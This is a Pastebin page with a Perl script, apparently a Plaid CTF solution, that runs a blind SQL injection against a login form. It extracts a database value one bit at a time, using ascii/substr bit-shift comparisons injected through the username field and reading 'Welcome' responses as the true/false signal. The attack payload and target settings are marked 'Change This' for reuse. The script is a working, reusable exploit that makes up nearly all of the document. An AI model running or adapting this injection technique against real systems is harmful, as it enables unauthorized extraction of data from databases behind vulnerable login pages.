Xenithz

Blind SQL use Bit Shifting

Apr 27th, 2011
327
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.12 KB | None | 0 0
  1. # Plaid CTF Blind SQL use Bit Shifting
  2. # Author : Xenithz
  3. # Twitter: @Xenithz
  4.  
  5. use LWP::UserAgent;
  6. my $browser = LWP::UserAgent->new();
  7. $numpos = 1;
  8. $result ='';
  9. $sqlcmd = "version()";  #Change This
  10. $prefix = "admin\""; #Change This
  11. $postfix = "#";       #Change This
  12.  
  13. while(1){
  14. ###############       Start Value
  15. $bitpos = 7;  #       Bit position Start @ position 7 -> [0]000000 = 0
  16. $checkval= 0; #       Check Bit Value  <-----------------------------|
  17. $bitval = ''; #       Reset Bit Value
  18. ###############
  19. while($bitpos >= 0){
  20. $bsql = $prefix." and (ascii((substr(($sqlcmd),$numpos,1))) >> $bitpos)=$checkval".$postfix;
  21. $response = $browser->post('http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index',[username=>$bsql,password=>'256418',submit=>'submit']);
  22. if($response->content =~ /Welcome/gi){ #bit 0 is true
  23.     $bitval .= '0';
  24. }else{                                 #bit 1 is true
  25.     $bitval .= '1';
  26. }
  27. $checkval = oct('0b'.$bitval.'0');
  28. $bitpos--;
  29. }
  30. $result .= pack('B*',$bitval);
  31. $numpos++;
  32. $chr = pack('B*',$bitval);
  33. print "\n[Debug][Result]:$result";
  34. if($bitval == '0000000'){print $result;exit();} # Print & Exit
  35. }
Advertisement
Add Comment
Please, Sign In to add comment